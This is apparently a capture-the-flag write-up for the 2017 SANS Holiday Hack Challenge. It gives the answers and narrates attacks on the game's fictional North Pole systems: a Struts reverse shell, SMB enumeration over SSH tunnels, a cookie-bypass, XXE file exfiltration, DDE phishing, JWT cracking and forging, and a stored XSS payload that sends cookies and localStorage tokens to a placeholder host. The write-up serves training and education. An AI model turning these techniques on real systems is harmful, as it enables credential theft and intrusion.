This online production is reproduced from a PDF-ed version of MS-Word. The exploits discussed in the challenge are not changed during this reproduction but formatting has (and will continue to be) updated for readability.



elf security 101

You Bastard…


2017 Holiday hack challenge

James Richardson |



1)    Visit the North Pole and Beyond at the Winter Wonder Landing Level to collect the first page of The Great Book using a giant snowball. What is the title of that page?

The title of the first page is: “About this book…”

2)    Investigate the Letters to Santa application at What is the topic of The Great Book page available in the web root of the server? What is Alabaster Snowball’s password?

The title of The Great Book, Page 2, is ‘On The Topic of Flying Animals’. The topic
of this page discusses the history of flying animals in Oz and the North Pole.
It describes how a flying lion, Moonracer, and the reindeer would be settled in
the North Pole and the flying monkeys would stay in the land of Oz.

Alabaster Snowball’s password is: stream_unhappy_buy_loss.

3)    The North Pole engineering team uses a Windows SMB server for sharing documentation and correspondence. Using your access to the Letters to Santa server, identify and enumerate the SMB file-sharing server. What is the file server share name?

The name of the file server share name where the page of the book was found is: FileStor

4)    Elf Web Access (EWA) is the preferred mailer for North Pole elves, available internally at What can you learn from The Great Book page found in an e-mail on that server?

From page four of The Great Book, found in Alabaster Snowball’s inbox as an
attachment from Holly Evergreen, I learned about the Rise of the Lollipop Guild
– considered to be a terrorist organization from the perspective of the north
pole elves. This page chronicles some of the history between the elves and
munchkins and provides context to the distrust between the two groups. It
discusses rumors that both the North Pole and Oz are under attack from each
other and hints that there could be moles within the North Pole organization.

5)    How many infractions are required to be marked as naughty on Santa’s Naughty and Nice List? What are the names of at least six insider threat moles? Who is throwing the snowballs from the top of the North Pole Mountain and what is your proof?

In order to be flagged as naughty, it appears one needs a minimum of 4 infractions
as no one on the naughty list has less than 4 infractions. With that said, I would imagine there are a few ‘great sins’ that could be so heinous even one infraction could put someone on the naughty list. That however, is purely speculation.

I presume the following elves are the largest insider threats due to the number
of infractions, severity, type of infraction or from the BOLO memo:

Boq Questrian
Bini Aru
Cindy Lou Who
Dr. Who
Erin Tran
Kristy Evans
Lance Montoya
Nina Fitzgerald
Wesley Morton
Josephine Howard
Jeffrey Oconnell

As for throwing snowballs from the top of the North Pole Mountain – it was the Abominable Snow Monster! I discovered my proof in a ‘chat’ with Bumble and Sam while playing the North Pole and Beyond “Bumbles Bounce” game. Ultimately, though, Bumble was under a spell from the “The Good Witch of Oz”. This proof came from another ‘chat’ I had with her after the “We’re off to see the…” game. She was attempting to instigate a conflict between the elves and munchkins for profit!

6)    The North Pole engineering team has introduced an Elf as a
Service (EaaS) platform to optimize resource allocation for mission-critical
Christmas engineering projects at
Visit the system and retrieve instructions for accessing 
The Great Book page
from C:\greatbook.txt.
Then retrieve 
The Great Book PDF file by following those directions. What is the title
of The Great Book page?

The title for The Great Book – Page 6 is: “The Dreaded Inter-Dimensional Tornadoes”.

7)    Like any other complex SCADA systems, the North Pole uses
Elf-Machine Interfaces (EMI) to monitor and control critical infrastructure
assets. These systems serve many uses, including email access and web browsing.
Gain access to the EMI server through the use of a phishing attack with your
access to the EWA server. Retrieve 
The Great Book page from C:\GreatBookPage7.pdf. What does The Great Book page

This page describes a brief overview of the witches in the Land of Oz. It mentions that there are both good natured witches and those whom are foul natured in deed. While during The Great Schism the witches took no sides, when The Great Book was created there had never been a witch spotted in the North Pole.

8)    Fetch the letter to Santa from the North Pole Elf Database at
Who wrote the letter?

The letter to Santa was written by no other than The Wizard of Oz.

9)    Which character is ultimately the villain causing the giant snowball problem. What is the villain’s motive?

Ultimately, the snowball problem was being caused by Glinda, the Good Witch. She wanted to escalate the hostilities between the elves and the munchkins in an attempt to sell her magical services to both sides of the conflict. In the end, it was greed.



To begin the challenge, I started with the challenges of
“North Pole and Beyond”. Many, many (too many, in fact) hours were spent
iteratively progressing through the levels and trying many tactics for each of
the goals. For brevities sake, this report is not going to detail much of the
physics of the game play and will detail the specifics of the terminal


Winconceivable: The Cliffs of Winsanity

Objective: Kill the santaslittlehelperd process.

When attempting to use the kill command unsuccessfully, I
found that there was a bash alias configured preventing one from executing /bin/kill.
Specifying the full path (/bin/kill) to the ‘kill’ command circumvents this. Thus
so, I executed the following command to fulfill the objective.


Winter Wonder Landing

Objective: Find and run the elftalkd binary

The ‘find’ command looks first to a copy in /usr/local/bin/.

I was able to locate the elftalkd binary by performing a ‘/usr/bin/find / |
grep elftalkd’ search.

Once found, I simply executed ‘/run/elftalkd/bin/elftalkd &’ and completed the challenge.


Cryokinetic Magic

Objective: Run the CandyCaneStriper executable
to complete the challenge

With /bin/chmod being 0 bytes in length, I had to get a
little creative. In the end, I decided to utilize an existing binary and copy
the contents of CandyCaneStriper over to it in order to execute it.



There’s Snow Place Like Home

Objective: Get the binary ‘trainstartup’ running

After seeing that the binary was not an appropriate x86-64
compiled binary but instead a 32bit ARM executable, I started looking for
emulation tools.

After finding ‘qemu-arm’ readily available, starting the train
application was as simple as:




Bumbles Bounce

Objective: Identify the least-popular browser

This challenge is a quick analytics problem. Given, the web server logfile, access.log, determine which User-Agent field is the least popular.

A quick parse using the tools awk, sort and uniq did the trick:

This presented an easily manageable list to visually inspect. The only two options with a single entry were Dillo and one specific version of cURL. Since there were other versions of cURL in the log file, the least popular browser was Dillo.


I Don’t Think We’re In Kansas Anymore

Objective: Identify the song whose popular is the best.

I quickly identified christmassongs.db as a sql-lite
database and used sqlite3 to gain access to the database as follows:


Oh Wait! Maybe We Are…

Objective: Restore /etc/shadow with the contents of shadow.bak

This challenge was one of the more tricky ones for me. Luckily /etc/shadow has group write permissions to the shadow group.

I checked the sudo permissions the default user could run and noticed that I could run /usr/bin/find as the ‘shadow’ group and shadow.bak has world readable bits set.

Because of that, we can execute commands via the find –exec command:


We’re Off To See The…

Objective: Run the given binary, make it return 42.

Oh joyous!

I am able to tap into my historic and arcane knowledge of C! This caused me a slight bit of trouble because at this point, I was in a mad rush to finish these challenges I simply write a program named isit42 that returns 42. I didn’t read clearly enough that I had to make the existing binary return 42. Luckily, the SANS Pen Test blog pretty much gave us a hand-holding walkthrough to do this exact thing.


In summary, these challenges were so much fun for me to complete. Many of my friends and colleagues had fun (once we were all done with them individually) discussing the various paths we took on each of them.

The dockerized containers to run them have me wondering how they were created and am having some of my teams look into recreating a similar method for new candidate interview assessments and general training.


To begin the assault on the North Pole Christmas Town infrastructure, I started by understanding the “Letters To Santa” (L2S) web app. This web application is internet-facing and I determined that it was the logical place to start.

First off, I usually always begin investigations with a generic port scan. This time was no different. My preferred scanner is nmap, to which I ran and discovered that port 22, 80 and 443 are exposed. That was interesting as it appears to be an internet WWW server which also has SSH exposed to the internet.

To better understand the web site, I used FireFox to browse to to start understanding the target. After using the website normally for a few iterations, I then proceeded to take a look under the covers to see how the application was built.

While viewing the source code of the site, I noticed a few interesting details to note:


It appears that the author of this application is Alabaster Snowball—the user whose password we are supposed to steal. I also found it interesting that it appears there was supposed to be a “state” location dropdown box in place of the “Country”. That indicates to me that the application was rushed to production. There was a hidden link (outside of the <BODY> html tags) that linked to a development version of the software. It also appears that the application uses a PHP backend for processing which may have its own attack vectors to consider.

After making the mental note regarding the author of the web application, I proceeded over to the development version of the app.

I initially noticed that while I went to ‘http://’ version of the site, I was directed to the ‘https://’ version. I decided to not let that bother me.

The development version of the software was very different than the production instance. While examining the source code for the application I saw:


The Equifax exploits have been one of the most publicized security breaches in recent memory. Unfortunately, since I do not deal with struts in any of my environments, I had yet to take the time to fully understand the exploits available. Now seemed like the perfect opportunity.

Rob Willis has a really good video on YouTube (published Sep 15th, 2017) that walks through CVE-2017-9805 in lab. Working through a similar setup in my own lab environment I was able to understand to use some exploit code from After successful opening a successful remote shell in my lab environment, I went back to my attack on

At a high level, obtaining a reverse shell to a host is pretty simple. You upload a payload to a remote server and trick that system into running it. The payload opens up a TCP connection to a destination providing you access.

I crafted my payload using msfvenom, part of the Metasploit framework.



This payload is extremely small—roughly 150bytes. Because of its extremely small size, my payload can easily be sent in an HTTP session. Using the exploit python code obtain from expoit-db (referenced above), one can execute remote commands on the host via http. In order to facilitate sending the binary over HTTP I base64 encode the binary.



With the payload crafted and encoded, I started listening on
my specified TCP port using ncat and sent the payload over to target.



Then I sent the payload…



And I received a reverse shell…



Upon having the remote shell opened up and working, it was time to get to work. The shell was running as the ‘alabaster_snowball’ user, which is a red flag. Never, ever, run your services as a real user.

I spent a fair amount of time poking around the system in order to familiarize with my surroundings.

There are a few potentially interesting acconuts on the system: gke-ed150e57664e0ca33a0d, chris, alabaster_snowball, Daniel, ron, dpendolino, tkh16, jeff and tom.

Eventually, I got back on track and started focus on the task at hand. Alabaster was running his tomcat application as himself, and by performing a simple ‘ps’ I could tell it was running from /opt/apache-tomcat/.

A common mistake made by application developers is to hardcode credentials into their software. Especially development versions. I decided to see if I could find something of interest there:





Credentials are found in /opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class!
let’s see if they are the same to authenticate against the system…



Got his password and time to move on to the next challenge.



The next step of the challenge is to gain access to the SMB file server. Already having shell access to will make this much easier.

In my own adventure, I was distracted for many hours after gaining access attempting to get out of the restricted bash shell—to no avail. I eventually got back on track and realized I had access to all of the tools I needed.

Step one is determining where the SMB server is. For this, I used my favorite port scanner, nmap, conveniently installed. I started with a generic network-wide scan (nmap –v –A to see what was readily available out there.

The initial results indicated an SMB host listening at Let’s break out into the OpenSSH shell (HINT: Hit enter, ~C) and do a quick port forward over to port 445.



But no such luck in getting access to it with the credentials
I already have. This would have been just a little too easy. Holly Evergreen’s
hint got me thinking, though. They probably are obfuscating my generic nmap



It looks like there are two SMB hosts available. The hostname would seem to steer me over to I then proceeded to investigate that host more clearly.

After changing my SSH tunnel to forward my local port 4000 over to I tried again.



Interesting. I found three fileshares available, provided we have the right credentials. I tried to access both ADMIN$ and C$, but they appear to be restricted to Mr. Snowball. The FileStor mount, however, is ripe for the picking.


As you can see there was not much data there, so while here I decided get it all. Including GreatBookPage3.pdf. I ran sha1sum on the GreatBookPage3.pdf file to unlock the page in my stocking.

Note: Originally when the challenge was released there
was one additional file located on the SMB server’s FileStor mount. That file
was named ‘MEMO – Calculator Access for Wunorse.docx’. The calculator document
has since been removed.


One thing to remember when dealing with untrusted filesystems is to always proceed with a little bit of caution. Doubly so when dealing with Windows systems/files. Triple-y so when dealing with thousands of untrusted penetration testing “professionals”. As such, let’s do a quick virus scan of the data we downloaded from the remote system.



That’s awfully interesting. The “MEMO – Calculator Access for Wunorse.docx” was identified to have the Doc.Exploit.DDEautoexec-6346603-0 found. We’ll be extra cautious around that file until we know more about that docx exploit.



Elf Web Access is the internal webmail system used by the North Pole Elves. My objective is to gain access to this webmail system.

The host,, is located at I started off by looking at the port scan results from earlier in reference to this host. You never know what could be listening on the host. This host is listening on TCP 22, 25, 143, 80, 2525 and 3000.

Doesn’t look like ‘alabaster_snowball’ can SSH into the host. At least not with the credentials we have already found. Port 25 is the SMTP port and 143 is the IMAPD port—both to be expected from a mail server. Looks like Postfix is running on 25 and Dovecot on 143.

More interesting to me are ports 80, 2525 and 3000. Postfix appears to be listening on port 2525 also. At this time, I can only speculate as to why. (My speculation is that it is used by the backend alabaster code setup to read and process e-mails… but that’s not important right now).

My next steps were to understand the webmail system. This is the “Elf Webmail Access” system, after all. The nmap scan informed me that ngnix running on port 80 and a Node.js framework running on port 3000.

One web analysis tool I like to use when approaching an unknown website is “dirb”. Dirb is a content scanner for web sites. It takes a wordlist and checks to see if specific URL’s are available.

When scanning port 80, only two URL’s of interest are revealed, the index.html default page and info.php. The info.php page looks to be the output of the phpinfo() function. It is a good reconnaissance information. The index.html page is the default Ubuntu apache2 page.


Port 3000 appeared to be much more interesting. In addition
to the default index.html file, there is also a robots.txt file.



Well that is curious. Why would they want to disallow search engines to look at cookie.txt? When we take a look at it cookie.txt it makes a little more sense.


It looks like the developer took some sample code to use in his web application that he doesn’t want anyone to know about. Reading the javascript code, it makes sense too. The code provided allows for a cookie stored in the browser to bypass the authentication page for the webmail system.

That’s something to go on at least. But before I make it too complicated, always try the easy way. We already have Alabaster Snowball’s user id and password for SSH and SMB access. Let’s see if he reused his credentials here too.

No such luck there. But we are expecting the email address to be in the format No luck with ‘alabaster.snowball` either. It is okay with the email address, but looks like he has a different mail password.

When I examined the source code for the page it reveals some interesting details found in “js/custom.js”.



In the login() javascript function, the code will redirect us to the ‘account.html’ page when properly authenticated. Now we need to break past the login page.

This type of attack is another popular cookie stealing attack we have seen in recent years. If you have a cookie that says you are authenticated, the system won’t even prompt you to login.

In order to learn more about the cookie, I looked at the cookies stored locally without logging into the system.



Given that information it looks like if I combine the three elements: name, plaintext and ciphertext, I can bypass the login form.

Earlier, when evaluating the sample javascript from cookies.txt, it looks like they are using AES256. Please note that I am not a cryptologist, I don’t even play one on TV. My understanding, however, is that the first 16 bytes of the encrypted cipher text is removed from the cipher text and used by the algorithm as an initialization vector.

With that information, what I needed to do to bypass this implementation is to define a 16-byte ciphertext (when not base64 encoded). During my attempts to bypass this login form, I tried a number of different scenarios.

My initial exploit consisted generating official AES ciphertext via That worked well, but in the end, any 16-byte binary would work. I validated this by creating a binary file of 16-bytes with nothing but null characters and still made it through.

There are no special tools or add-ons needed. In Firefox, simply open up the ‘Developer Tools’ while on the login page and click the “Storage” button and select cookies on the left. Locate the EWA cookie and update the existing “blanked out” cookie with the following values:

Once the cookie is in place, simply refresh the page and you are redirected to the mailbox. Using this method, you can access any of the e-mail accounts by replacing the “name” token in the cookie appropriately.


As a side note – the reindeer e-mail still has me laughing.


With the fun of reading e-mails. Make sure you specifically log into Alabaster Snowballs account and look for an e-mail from which includes a link to The Great Book page 4.


Please note – this e-mail system is in use by
many other penetration testers, so use caution and common sense when
downloading attachments from this system.


The next phase of the challenge required me to put on my thinking cap to determine how many infractions were required to be put on Santa’s ‘Naughty’ list.

I was glad I picked up those files up from the SMB server earlier. If I hadn’t, I would need to go back to grab them. Santa has a copy of his ‘Naughty and Nice List’ in both CSV and TXT available for parsing.

In addition to the documents I was able to obtain, the North Pole Police Department ( provides detailed information on everyone with an infraction. This information is open to the public via a web-based online search and provides downloadable JSON links.

After learning that, I needed to pull the user data in an automated fashion. The first thing I did was to make the usernames ‘url friendly’ so I can pass them to cURL.

Since I was curious on the differences between people on the Naughty List vs. the Nice list, I found it easier for me break the master list up into two smaller lists, a “nice list” and a “naughty list”.

Now we have our two lists, one for nice elves and one for
the naughty elves. The next step is to pull down the data for each.

Now that I have the details for everyone on the Naughty and Nice List, it’s time to see how many infractions everyone has.

From that output we can tell that everyone on the naughty list has at least 4 infractions.

In order to process the data in a more manageable fashion, I decided to import the naughty users data into a local sqlite database.

To put the data into my sqlite database, first I parsed the
JSON data and put all of the users into the database:

Then, I wrote a little bash script the infraction details into a separate table:

With all of the data loaded into my sqlite database, I began to look for trends and interesting results.

One query I found most interesting was unique list of infractions:

“Trying to ruin Christmas” was an important threat for me to note.

Because Cindy Lou Who and Dr. Who (both “Who’s”, by the way), tried to ruin Christmas, I added them to my list of potential insider threats.

I next began to look into insider threats who had similar infrctions as Boq Questrian and Bini Aru. Those two moles were identified via the ‘BOLO’ memo found on the SMB server.

In order to achieve this, I wrote another small bash script to start parsing my sqlite data.


This script does a few queries and stores them in bash arrays. First, it looks for everyone who is charged with giving atomic wedgies. Then it looks to see if that same user has played with fire, threw rocks, pulled hair or owned an unlicensed slingshot.

The output of this script gave me a few more names to add to my list:

Lastly, I decided to import my data into a MS Excel spreadsheet to give me another view of the data.

In addition to a massive “select *” style query to get most of the data, I also wrote a small bash script to count the number of infractions per user using the JSON data to import into Excel.


Looking at this data in Excel, it was easy to sort this data on who had the most infractions (Multiple infractions is a major indicator of an insider threat). Two more names, Josephine Howard and Jeffrey Oconnell were then added to the list.

Notified via BOLO document:

Boq Questrian

Bini Aru

Tried to ruin Christmas:

Cindy Lou Who

Dr. Who

Similar Infractions:

Erin Tran

Kristy Evans

Lance Montoya

Nina Fitzgerald

Wesley Morton

Multiple Infractions:

Josephine Howard

Jeffrey Oconnell


In order to attack the Elf as a Service (EaaS) system, I started with my nmap results. They let me know that port 80 and 3389 are open. Port 3389 is traditionally used by RDP for windows systems. Just for ‘giggles’, I tried to obtain a desktop using Alabaster Snowball’s account with the credentials I have of his.

No such luck.

Like all web attacks, I started with a ‘dirb’ scan before going any further. It found a few interesting items, but before getting sucked into any of those rabbit holes, I decided to just load up the browser and poke around.

What I found was a system with no authentication along with the ability to upload crafted XML. Well, now, THAT was interesting. My first thought was “This could be an interesting place to store arbitrary data…. or possible a decent DoS vector…”.

However, we know that we want to pull a specific file off of the server, specifically C:\greatbook.txt. So, we know:

 1. We have an ISS server listening on

 2. The system accepts and processes XML data uploaded via a form

Using an attack vector described similarly from the pen test blog, I decided to craft a XXE exploit.

First, I crafted a special DTD hosted on a webserver under my control. Inside of the DTD we describe the data on which we want obtain (in this case, C:\greatbook.txt). We also create an entity inception line that will send the contents of the specified file to a defined URI. In my case, I had it send it to a netcat listener I had listening on port 55779.


With my DTD crafted, I then crafted an XML document to
upload. This XML document loads my crafted DTD file and executes the inception.


When the XML was loaded to the EaaS application, it resulted
in an XML error reported in my browser window. However, when looking at my netcat capture, I saw “GET /” was posted.

Once the URL to greatbook6.pdf, it was a simple matter to enter the URL in my browser and obtain the page.



In order to exploit the SCADA system, the challenge is to perform a phishing attack for a naïve user to open and expose, inadvertently, data on his file system.

I determined from the Elf Webmail System that Mr. Alabaster Snowball is very interested in obtaining the coveted “Gingerbread Cookie Recipe” of years past. With that knowledge, I expect him to download and run almost anything to get access to it.

For this attack, I chose to exploit a DDE “feature” (as Microsoft originally called it) within MS Word to launch a PowerShell command line when opened (and Mr. Snowball clicked ‘Yes’ to the dialog boxes).

After reviewing the numerous notes regarding the challenge, I spent several hours attempting to execute netcat for Windows via PowerShell.

All of those attempts were unsuccessful.

My next foray involved several more hours learning the basics of PowerShell. What I learned was that there is a relatively straight forward FTP command line available to me. Given that I knew I wanted to steal C:\GreatBookPage7.pdf, I crated my DDEAUTO exploit as such:


With the DDE exploit crafted, I tested sending the phising e-mail to Mr. Alabaster Snowball via EWA. [For what its worth, Mr. Snowball isn’t too bright. I sent him an e-mail from his own e-mail account and yet he still opened up the attachment and clicked on the appropriate dialog boxes.] My test consisted of me initially setting up a basic netcat listener on a host to see if there was a connection.

And there was!

After the successful test, I setup a basic anonymous FTP server (listening on a non-standard port) and re-executed my attack. My reward was having the GreatBookPage7.pdf file uploaded to my temporary FTP server.


This challenge was probably my most favorite. Breaking into the EDB system allowed me to learn and practice several attacks that I understood in theory but had never had the opportunity to implement.

I began my attacks by trying to determine as much information as possible about the target – My nmap scan let me know that it was listening for SSH, HTTP (port 80 & 8080) and LDAP connections.

None of the credentials I had discovered in previous challenges allowed me SSH access. LDAP connections were mixed. Early in the challenge I was able to obtain a full LDAP dump anonymously. However, this was eventually corrected by the elves.

After hitting a stumbling block with SSH and LDAP, I focused on the web portion. As far I could tell both port 80 and 8080 were serving the same content and provided no difference in functionality or experience. I was able to locate dev/LDIF_template.txt via the robots.txt file. Which confirmed my original LDAP dump schema obtained early in the challenge.

While investigating the login form and ‘Forgot Password’ page I decided to attempt a cross site scripting attack to pull the credentials of the administrator who would finally read the request ticket.

I attempted many variations of inputting javascript inside the message box. Some scenarios awarded me with the “Alert! Hacker!” message while some appeared to work but I had never received any feedback indicating that an admin was processing the ticket.

To help test, I wrote a simple shell script to test to if my request tickets were still “in queue”:

This worked well early in the challenge as there were times where my request would stay in queue for several hours. Later in the challenge tickets were processed in near real time and negated the need to test.

In the end, I found that putting the message “Message<img src=’#’ onerror=this.src=’http://<MY-IP>:55779/?c=’>” was executed in the administrator’s browser.

Having a good control test in place, I next decided to see if I could simply steal the administrator cookie.

I had success by adding ‘+document.cookie’ to the end of the above URL. I was able to obtain the SESSION cookie used by the administrators browser, but it did not grant me the access I hoped.

I next started looking in more detail at the HTML in the site. What I found is that the authentication form was looking for data from the localStorage data structure (specifically, localStorage[‘np-auth’]).

I changed my XSS attack to pull the localStorage[‘np-auth’] data instead of document.cookie as such: “Message<img src=’#’ onerror=this.src=’http://<MY-IP>:55779/?c=’+localStorage[‘np-auth’];>”.

I was awarded with a JWT token:


I identified this as a JWT token by the three base64 encoded strings separated by periods. With the token, I used the developer tools interface in the browser to inject the JWT token into localStorage[‘np-auth’] and then I refreshed the page.

I was still not granted access so I decided to take a closer look at the JWT. I loaded the JWT into and looked at what I had.


  “alg”: “HS256”,

  “typ”: “JWT”




  “dept”: “Engineering”,

  “ou”: “elf”,

  “expires”: “2017-08-16





  base64UrlEncode(header) +
“.” +


) secret base64 encoded


Ah, it looks like the JWT is expired. I then changed the JWT to expire “2018-08-16 12:00:47.248093+00:00”. With the payload section updated, I then needed to find a way to resign the JWT so the server would accept it as valid. In order to sign the JWT, I’ll need the secret key in use by the server.

I spent several hours looking at various JWT tools like, jwtbruke, jwt-cracker, jwt_tool and even pyjwt. Needless to say, I had little success using these tools out of the box.

What I was able to do relatively easily was use the community version of John
the Ripper
against the encoded JWT I originally captured.    

The crack only took approximately 30 seconds to find that
Mr. Snowball created the secret key was ‘3lv3s’. Elves – cute. With the
secret, I was able to craft (via the updated ‘expires’ field and new

I then used the developer tools console of my browser to call:

When I refreshed my browser I was successfully past the login form for EDB.

With my new access to the search functionality of EDB I began to look at what I could exploit in this new interface. After playing around with the default interface, I noticed in order to access the “Santa Panel” I needed to be a “Claus”.

I quickly regenerated my JWT token and replaced my existing payload:



In order to obtain the uid, dept and ou field, I referenced the original LDAP data I queried early in the competition. With the new JWT crafted and loaded into my browser, I refreshed my page again. This time when I tried to access the Santa Panel, it prompted me for a password.

At this point, I went back to John the Ripper to crack Santa’s password.

I took Santa Claus’s password from my LDAP information,  Y2RhYmViOTZiNTA4ZjI1Zjk3YWIwZjE2MmVhYzVhMDQ=, base64 decoded it and wrote it out to a file. My first run of john against it, detected that it could be several different types, so I decided to see what ‘hash-identifier’ could tell me.